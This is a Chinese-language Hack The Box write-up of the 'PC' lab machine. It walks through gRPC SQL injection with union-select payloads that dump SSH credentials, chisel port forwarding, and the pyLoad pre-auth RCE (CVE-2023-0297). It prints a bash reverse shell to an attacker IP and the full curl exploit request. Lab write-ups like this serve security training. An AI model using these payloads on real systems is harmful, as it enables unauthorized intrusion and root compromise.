HTB-PC


HTB-PC

一、思路概要

1.端口扫描发现gRPC服务;

2.gRPC存在SQL注入获取到SSH账户;

3.SSH连接查看主机端口服务发现pyLoad服务;

4.pyLoad服务存在RCE(CVE-2023-0297)反弹shell获取root权限。

二、信息收集

nmap扫描端口服务

nmap -p- --min-rate 10000 -Pn -sT 10.10.11.214

非常规端口50051,直接浏览器访问是乱码,google发现是gRPC默认端口

google关键字:gRPC exploit

https://medium.com/@ibm_ptc_security/grpc-security-series-part-3-c92f3b687dd9

文章大致意思是,有一个SQL注入

工具:

grpcurl:https://github.com/fullstorydev/grpcurl

grpcui:https://github.com/fullstorydev/grpcui

用grpcurl可以查看一些基本服务,SimpleApp对应有LoginUser、RegisterUser、getInfo三个接口方法

用grpcui工具,执行如下命令,实现与gRPC服务交互

./grpcui -plaintext 10.10.11.214:50051

自动打开如下web页面,然后打开Burpsuite,捕获下面的操作过程,方便测试SQL注入

在LoginUser接口,弱口令admin:admin成功认证(下面的认证路径是通过观察响应的message,尝试出来的正确认证过程)

得到一个idtoken

525
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTQ0MDgzMjB9.SH7DanchqAh3QMbI2q8VTH9X1qKX438MtNA8Ixr9TNU

然后到getInfo接口,Request Metadata填入对应的token键值对,Request Data填入id值

点击Invoke之后,响应也是成功的响应

三、gRPC SQL注入

在最后getInfo的数据包中,id部分可能存在注入,因为加单引号会有报错提示

把请求包保存为sqltest文件,sqlmap注入,笔者此处sqlmap跑不出,手工可以注出数据

sqlmap -r sqltest -p id -f --batch --dump-all

手工(注意union前id改为一个错误id):

"id":"520 union select sqlite_version(); --+"
#表名,数据库名
"id":"520 union select group_concat(sql) from sqlite_master --+"
#username的值
"id":"520 union select group_concat(username) from accounts --+"
#password
"id":"520 union select group_concat(password) from accounts --+"

新找到一个用户

sau : HereIsYourPassWord1431

SSH连接

netstat -antp查看端口开放情况,有9666端口是开放的,但访问不到,那就尝试把对内开放的8000端口做端口转发

从本地下载chisel

本地kali执行

python3 -m http.server 80

目标靶机执行

wget http://10.10.14.8/chisel
chmod +x chisel

建立端口转发

本地kali执行

./chisel server --port 9898 --reverse

目标靶机执行

./chisel client -v 10.10.14.8:9898 R:8000:127.0.0.1:8000

本地浏览器访问127.0.0.1:8000

四、pyLoad RCE(CVE-2023-0297)

google关键词:pyload exploit

https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad

在目标靶机/tmp目录下新建一个shell.sh,写入如下反弹shell脚本

bash -i >& /dev/tcp/10.10.14.8/9899 0>&1

本地kali开启监听nc -lvnp 9899

靶机执行如下命令

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"bash%20/tmp/shell.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

成功获取root权限

Over!


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录